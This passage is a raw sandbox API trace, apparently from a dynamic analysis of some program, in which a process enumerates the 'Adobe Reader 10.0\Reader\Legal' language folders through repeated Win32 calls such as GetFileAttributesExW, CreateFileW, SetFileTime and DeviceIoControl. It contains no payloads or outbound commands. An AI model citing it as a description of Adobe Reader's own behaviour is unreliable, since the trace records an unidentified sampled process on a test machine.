fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.302] GetLastError () returned 0x12 [0251.302] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.303] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.303] GetLastError () returned 0x12 [0251.303] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.303] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ce9900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.304] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.304] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.304] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.304] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.304] GetLastError () returned 0x12 [0251.304] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.304] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.304] GetLastError () returned 0x12 [0251.304] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.304] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81cc37a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.304] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0251.305] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.305] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.305] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.305] GetLastError () returned 0x12 [0251.305] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.305] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.305] GetLastError () returned 0x12 [0251.305] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.305] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.306] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.306] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.306] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.306] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.306] GetLastError () returned 0x12 [0251.306] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.307] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.307] GetLastError () returned 0x12 [0251.307] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.307] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\jpn"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.308] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\jpn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0251.308] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.308] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.308] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.308] GetLastError () returned 0x12 [0251.308] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.308] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.308] GetLastError () returned 0x12 [0251.308] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.308] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.309] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.309] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.309] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.309] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.309] GetLastError () returned 0x12 [0251.310] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.310] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.310] GetLastError () returned 0x12 [0251.310] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.310] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nld"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.311] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nld"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0251.311] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.311] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.311] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.311] GetLastError () returned 0x12 [0251.311] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.311] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.311] GetLastError () returned 0x12 [0251.311] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.311] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.312] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.312] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.312] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.312] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.312] GetLastError () returned 0x12 [0251.312] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.312] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.312] GetLastError () returned 0x12 [0251.312] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.312] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.313] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0251.313] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.314] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.314] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.314] GetLastError () returned 0x12 [0251.314] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.314] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.314] GetLastError () returned 0x12 [0251.314] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.314] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ptb"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.315] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ptb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.315] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.315] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.315] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.315] GetLastError () returned 0x12 [0251.315] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.315] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.315] GetLastError () returned 0x12 [0251.316] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.316] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.316] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0251.317] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.317] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.317] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.317] GetLastError () returned 0x12 [0251.317] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.317] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.317] GetLastError () returned 0x12 [0251.317] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.317] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rus"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.318] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rus"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.318] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.318] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.318] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.318] GetLastError () returned 0x12 [0251.318] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.318] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.318] GetLastError () returned 0x12 [0251.318] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.319] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 